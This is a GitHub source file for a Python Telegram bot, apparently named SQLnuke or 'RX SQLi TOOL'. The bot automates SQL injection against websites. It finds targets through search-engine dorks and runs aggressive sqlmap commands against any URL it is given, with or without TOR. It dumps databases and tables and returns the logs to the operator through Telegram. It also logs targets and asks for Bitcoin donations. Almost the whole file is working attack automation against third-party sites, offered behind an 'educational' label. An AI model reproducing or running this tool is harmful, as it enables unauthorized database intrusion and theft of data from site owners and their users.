forked from netwrkspider/sqlnuke
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnukev3.py
347 lines (323 loc) · 16 KB
/
nukev3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
#!/usr/bin/python
# -*- coding: utf-8 -*-
import time
import subprocess
import telepot
import os
import urllib2
import re
import socket
import datetime
import threading
from urllib2 import urlopen
from alexa import Alexa
from config import token_id
banner = '''
\xF0\x9F\x8D\xAD Benvenuto in RX SQLi TOOL \xF0\x9F\x8D\xAD
\xF0\x9F\x94\xA9 Seleziona un opzione o utilizza il comando: /help
---------------------------------------------
'''
menu = '''
\xF0\x9F\x94\x8E ALTRE OPZIONI:
6. /getdorklist - Scarica ultima Dorklist.
7. /torstart - Avvia TOR.
8. /torstop - Arresta TOR.
9. /sqlidata - Scarica tutte SQLi.
10. /meminfo - Mostra memoria utilizzata.
11. /cpuloadinfo - Mostra utilizzo CPU.
12. /checksqli - Mostra processi attivi SQLi.
13. /killsqli - Arresta tutti i processi SQLi.
'''
def nuke(msg):
chat_id = msg['chat']['id']
command = msg['text']
print "Got Command : %s " %command
#bot.sendMessage(chat_id, str(banner))
#welcome screen and help
if command.startswith('help') or command.startswith('/help') or command.startswith('/start'):
bot.sendMessage(chat_id, str(banner))
bot.sendMessage(chat_id,'\xF0\x9F\x94\x90 RX SQLi TOOL menu: ')
bot.sendMessage(chat_id,'1. /nukedork Cerca SQLi \xF0\x9F\x92\x89 | [esempio: /nukedork index.php?id=1]\n')
bot.sendMessage(chat_id,'2. /sqlgdork Cerca SQLi con Google \xF0\x9F\x92\x89 | [esempio: /sqlgdork about.php?id=1]\n')
bot.sendMessage(chat_id,'3. /sqlihack Esegui SQLi senza TOR \xF0\x9F\x92\x89 | [esempio: /sqlihack http|https://<url>]\n')
bot.sendMessage(chat_id,'4. /sqlitor Esegui SQLi con TOR \xF0\x9F\x92\x89 | [esempio: /sqlitor http|https://<url>]\n')
bot.sendMessage(chat_id,'5. Valuta BTC : esempio -> btc usd o btc qualsiasi_valuta')
bot.sendMessage(chat_id, str(menu))
return 0
#end welcome
def runoscmd(cmd):
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = process.stdout.read()
error = process.stderr.read()
process.stdout.close()
process.wait()
if error:
return None
return output
def getMemoryInfo():
output = runoscmd("`which free` -m")
if output:
memory_line = output.split("\n")[1].split()
total_mem = "%s MB" % (memory_line[1])
mem_used_value = "%s MB" % (memory_line[2])
mem_free_value = "%s MB" % (memory_line[3])
mem_used_percent = ("%.2f%s") % (((float(memory_line[2]) / float(memory_line[1])) * 100),"%")
headers = ["total","used","free","used %"]
values = [total_mem,mem_used_value,mem_free_value,mem_used_percent]
return dict(zip(headers,values))
else:
return None
def getLoadAverage():
dict_headers = ["1min","5min","15min"]
loadAverages = [("%.2f" % a) for a in os.getloadavg()]
return dict(zip(dict_headers,loadAverages))
def checkSqliProcess():
process = subprocess.Popen("ps -eopid,cmd | grep 'sqlmap'" , shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = process.stdout.read()
error = process.stderr.read()
process.stdout.close()
process.wait()
if error:
return None
return output
def killsqliProcess():
process = subprocess.Popen("ps aux | grep 'sqlmap' | awk '{print $2}' | xargs kill -9", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = process.stdout.read()
error = process.stderr.read()
process.stdout.close()
process.wait()
if error:
return None
return 0
def help():
bot.sendMessage(chat_id, str("\xF0\x9F\x9A\xA5HELP MENU: `/help`\xF0\x9F\x9A\xA5"))
def sqligoogle(dorkstring):
sqligoogledork = "sqlmap -v 2 -g %s --user-agent=Windows --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --v --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST --output-dir=data/sqldump/" % dorkstring
bot.sendMessage(chat_id, str("\xF0\x9F\x95\x97 please wait while we are doing SQLi \xF0\x9F\x92\x89"))
subprocess.Popen(sqligoogledork.split(), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print(time.ctime())
#threading.Timer(60, sqligoogle).start()
bot.sendMessage(chat_id, "Sto eseguendo SQLi in background! \xF0\x9F\x92\x89")
bot.sendMessage(chat_id, "Se vuoi scaricare il log SQLi esegui: /sqlidata \xF0\x9F\x93\xA5")
#subprocess.check_call(sqligoogledork.split())
if command.startswith('sqlgdork') or command.startswith('Sqlgdork'):
sqligargu=command[9:]
sqligoogle(sqligargu)
help()
return 0
elif command == '/sqlidata':
for file in os.listdir("data/sqldump"):
if file.endswith(".csv"):
if os.stat('data/sqldump/%s' % file).st_size!=0:
#bot.sendDocument(chat_id, document=open("data/googledork/%s" % file, 'rb'))
#print file
pass
else:
pass
#print file
else:
if os.stat('data/sqldump/%s/log' % file).st_size!=0:
bot.sendMessage(chat_id, "\xF0\x9F\x94\x8E Website SQLi log per: %s" %file)
print file
#ranker = Alexa()
#site_rank = ranker.getrank('%s' % file)
#bot.sendMessage(chat_id, str("\xF0\x9F\x8C\x8E Alexa Rank: %s" %site_rank))
bot.sendDocument(chat_id, document=open("data/sqldump/%s/log" % file, 'rb'))
else:
bot.sendMessage(chat_id, "Mi dispiace non ho trovato nessuna SQLi per: %s \xF0\x9F\x98\x94" %file )
help()
#btc price
elif command.startswith('btc') or command.startswith('Btc'):
arg1=command[4:]
print arg1
url= "https://www.google.co.in/search?q=bitcoin+to+"+arg1
req = urllib2.Request(url, headers={'User-Agent' : "Magic Browser"})
con = urllib2.urlopen( req )
Text=con.read()
position=re.search("1 Bitcoin =",Text)
res = float(Text[position.end():position.end()+9])
axx = '1 BTC : '+str(res)+' '+arg1
bot.sendMessage(chat_id,str(axx))
help()
return 0
#end btc price
#sqlidork
elif command.startswith('nukedork') or command.startswith('Nukedork'):
argu=command[9:]
print argu
print command
fdork = open("data/dorklist/userdorklist.txt","a+")
fdork.write("%s\n" % argu)
fdork.close()
sqldorkengine = "./sqlnukedork %s " % argu
bot.sendMessage(chat_id, str("\xE2\x8F\xB3 Attendi mentre genero il log.."))
subprocess.check_call(sqldorkengine.split())
bot.sendDocument(chat_id, document=open('sitedata.txt', 'rb'))
bot.sendMessage(chat_id, str("\xE2\x9C\x85 Trasferimento completato!"))
os.remove("sitedata.txt")
help()
return 0
#end sqlidork
#sqlihack
elif command.startswith('sqlihackoldsgshyehshshs') or command.startswith('Sqlihackoldgshsgatysgsgs'):
sqliargu=command[9:]
print sqliargu
sqlmatch = re.search(r"^(http|https)://.*$", sqliargu)
if sqlmatch:
sqlinjection = "python sqlmap/sqlmap.py -v 2 --url=%s --user-agent=Windows --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --v --batch --dbms=MySQL --os=Linux --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST --output-dir=data/" % sqliargu
f = open("data/dorklist/urldata.txt","a+")
f.write("%s\n" % sqliargu)
f.close()
bot.sendMessage(chat_id, str("\xE2\x8F\xB3 Attenti mentre eseguo SQLi.."))
subprocess.check_call(sqlinjection.split())
dirfilter = sqliargu
dirpath=re.search("http://*([^/]+)|https://*([^/]+)", dirfilter)
if dirfilter.startswith('https'):
sqllogpath = dirpath.group(2)
else:
sqllogpath = dirpath.group(1)
bot.sendMessage(chat_id, str("\xE2\x9C\x8C Genero SQL injection log per: %s" %sqllogpath))
bot.sendDocument(chat_id, document=open("data/%s/log" %sqllogpath , 'rb'))
bot.sendMessage(chat_id, str("\xE2\x9C\x85 Trasferimento completato!"))
bot.sendMessage(chat_id, str("\xE2\x8F\xB3 Attendi mentre raccolgo informazioni da Alexa Rank.."))
ranker = Alexa()
site_rank = ranker.getrank('%s' % sqllogpath)
bot.sendMessage(chat_id, str("\xF0\x9F\x8C\x8E Alexa Rank: %s" %site_rank))
else:
bot.sendMessage(chat_id, "\xE2\x9D\x8C Comando non corretto. | Utilizzo: /sqlihack http|https://<url>")
return 0
#end sqlihack
elif command.startswith('sqlihack') or command.startswith('Sqlihack'):
sqliargu=command[9:]
print sqliargu
sqlmatch = re.search(r"^(http|https)://.*$", sqliargu)
if sqlmatch:
sqlinjection = "sqlmap -v 2 --url=%s --user-agent=Windows --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --v --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST --output-dir=data/sqldump/" % sqliargu
f = open("data/dorklist/urldata.txt","a+")
f.write("%s\n" % sqliargu)
f.close()
subprocess.Popen(sqlinjection.split(), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
bot.sendMessage(chat_id, "Sto eseguendo SQLi in background! \xF0\x9F\x92\x89")
bot.sendMessage(chat_id, "Se vuoi scaricare il log SQLi per sqlidata esegui: /sqlidata \xF0\x9F\x93\xA5")
help()
dirfilter = sqliargu
dirpath=re.search("http://*([^/]+)|https://*([^/]+)", dirfilter)
if dirfilter.startswith('https'):
sqllogpath = dirpath.group(2)
else:
sqllogpath = dirpath.group(1)
#bot.sendMessage(chat_id, str("Please wait while we are gathering Alexa Rank..\xF0\x9F\x95\x97"))
#ranker = Alexa()
#site_rank = ranker.getrank('%s' % sqllogpath)
#bot.sendMessage(chat_id, str("\xF0\x9F\x8C\x8E Alexa Rank: %s" %site_rank))
else:
bot.sendMessage(chat_id, "\xE2\x9D\x8C Comando non corretto. | Utilizzo: /sqlihack http|https://<url>")
help()
return 0
#sqlihacktor
elif command.startswith('sqlitor') or command.startswith('Sqlitor'):
sqliargutor=command[8:]
print sqliargutor
sqlmatchtor = re.search(r"^(http|https)://.*$", sqliargutor)
if sqlmatchtor:
sqlinjectiontor = "sqlmap -v 2 --tor --tor-type=SOCKS5 --url=%s --user-agent=Windows --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --v --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST --output-dir=data/sqldump/" % sqliargutor
f = open("data/dorklist/urldata.txt","a+")
f.write("%s\n" % sqliargutor)
f.close()
bot.sendMessage(chat_id, str("Avviando TOR."))
subprocess.check_call("service tor start".split())
subprocess.Popen(sqlinjectiontor.split(), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
bot.sendMessage(chat_id, "Sto eseguendo SQLi con TOR in background! \xF0\x9F\x92\x89")
bot.sendMessage(chat_id, "Se vuoi scaricare i log SQLi per sqlidata esegui: /sqlidata \xF0\x9F\x93\xA5")
help()
else:
bot.sendMessage(chat_id, "\xE2\x9D\x8C Commando non corretto. | Utilizzo: /sqlitor http|https://<url>")
help()
return 0
elif command.startswith('sqlitoroldgshshshs') or command.startswith('Sqlitoroldtwgsshshsh'):
sqliargutor=command[8:]
print sqliargutor
sqlmatchtor = re.search(r"^(http|https)://.*$", sqliargutor)
if sqlmatchtor:
sqlinjectiontor = "python sqlmap/sqlmap.py -v 2 --tor --tor-type=SOCKS5 --url=%s --user-agent=Windows --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --v --batch --dbms=MySQL --os=Linux --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST --output-dir=data/" % sqliargutor
ftor = open("data/dorklist/urldata.txt","a+")
ftor.write("%s\n" % sqliargutor)
ftor.close()
bot.sendMessage(chat_id, str("\xE2\x8F\xB3 Attendi mentre eseguo SQLi"))
bot.sendMessage(chat_id, str("Avviando TOR."))
subprocess.check_call("service tor start".split())
subprocess.check_call(sqlinjectiontor.split())
dirfiltertor = sqliargutor
dirpathtor=re.search("http://*([^/]+)|https://*([^/]+)", dirfiltertor)
if dirfiltertor.startswith('https'):
sqllogpathtor = dirpathtor.group(2)
else:
sqllogpathtor = dirpathtor.group(1)
bot.sendMessage(chat_id, str("Genero SQL injection log per %s" %sqllogpathtor))
bot.sendDocument(chat_id, document=open("data/%s/log" %sqllogpathtor , 'rb'))
bot.sendMessage(chat_id, str("\xE2\x9C\x85 Trasferimento completato!"))
bot.sendMessage(chat_id, str("\xE2\x8F\xB3 Attendi mentre raccolgo informazioni da Alexa Rank.."))
ranker = Alexa()
site_rank_tor = ranker.getrank('%s' % sqllogpathtor)
bot.sendMessage(chat_id, str("\xF0\x9F\x8C\x8E Alexa Rank: %s" %site_rank_tor))
else:
bot.sendMessage(chat_id, "\xE2\x9D\x8C Incorrect Command \xE2\x9D\x8C | Usage eg: -> sqlihacktor http|https://<url>")
return 0
#end sqlitor
#getdorklist
elif command == '/getdorklist':
bot.sendMessage(chat_id, str("Sending dorklist \xF0\x9F\x9A\x80"))
bot.sendDocument(chat_id, document=open("data/dorklist/dorklist.txt" , 'rb'))
bot.sendMessage(chat_id, str("Transfer completed!\xF0\x9F\x9A\x80"))
help()
#end getdorklist
elif command == '/torstart':
bot.sendMessage(chat_id, str("Starting TOR Network.."))
subprocess.check_call("service tor start".split())
bot.sendMessage(chat_id, str("TOR Network started!\xE2\x9C\x94"))
help()
elif command == '/torstop':
bot.sendMessage(chat_id, str("Shutting down TOR Network.."))
subprocess.check_call("service tor stop".split())
bot.sendMessage(chat_id, str("TOR Network stopped!\xE2\x9D\x8C"))
help()
elif command == '/hackwolf':
bot.sendMessage(chat_id, str("Sending the latest dork data.."))
bot.sendDocument(chat_id, document=open('data/dorklist/userdorklist.txt', 'rb'))
bot.sendDocument(chat_id, document=open('data/dorklist/urldata.txt', 'rb'))
bot.sendMessage(chat_id, str("Transfer completed!\xF0\x9F\x9A\x80"))
elif command == '/meminfo':
mem_info = getMemoryInfo()
bot.sendMessage(chat_id, str(mem_info))
help()
elif command == '/cpuloadinfo':
cpu_info = getLoadAverage()
bot.sendMessage(chat_id, str(cpu_info))
help()
elif command == '/checksqli':
sqli_info = checkSqliProcess()
bot.sendMessage(chat_id, str("PID | CMD"))
bot.sendMessage(chat_id, str(sqli_info))
elif command == '/killsqli':
killsqliProcess()
bot.sendMessage(chat_id, str("SQLi \xF0\x9F\x92\x89 Process has been killed!\xE2\x9D\x8C"))
bot.sendMessage(chat_id, str("\xF0\x9F\x9A\xA5HELP MENU: `/help` | CHECK SQLi \xF0\x9F\x92\x89 : `/checksqli`\xF0\x9F\x9A\xA5"))
elif command == '/buy':
bot.sendMessage(chat_id, str("\xF0\x9F\x92\xB0 SQLNUKE @ \xF0\x9F\x92\xB5 Educational & Research Purpose Only"))
bot.sendMessage(chat_id, str("\xF0\x9F\x93\xAB E-Mail : [email protected] "))
bot.sendMessage(chat_id, str("\xF0\x9F\x92\xB5 Donation @ BTC Address:: 19rN13RDEhoZS7d2oc5wAQpGFZPhs6zbAA"))
help()
else:
bot.sendMessage(chat_id,'\xF0\x9F\x93\x9F [+] Got Command \xF0\x9F\x93\x9F')
bot.sendMessage(chat_id,command)
bot.sendMessage(chat_id,'\xF0\x9F\x93\x9F [-] Wait.....[-]')
#aa=subprocess.check_output(command,shell=True)
#bot.sendMessage(chat_id,aa)
#api credentials
bot = telepot.Bot('%s' % token_id)
bot.message_loop(nuke)
print 'welcome to SQLnuKe bot'
print 'Author : netwrkspider [http://www.netwrkspider.org]'
print 'SERVER IS Running'
while 1:
time.sleep(10)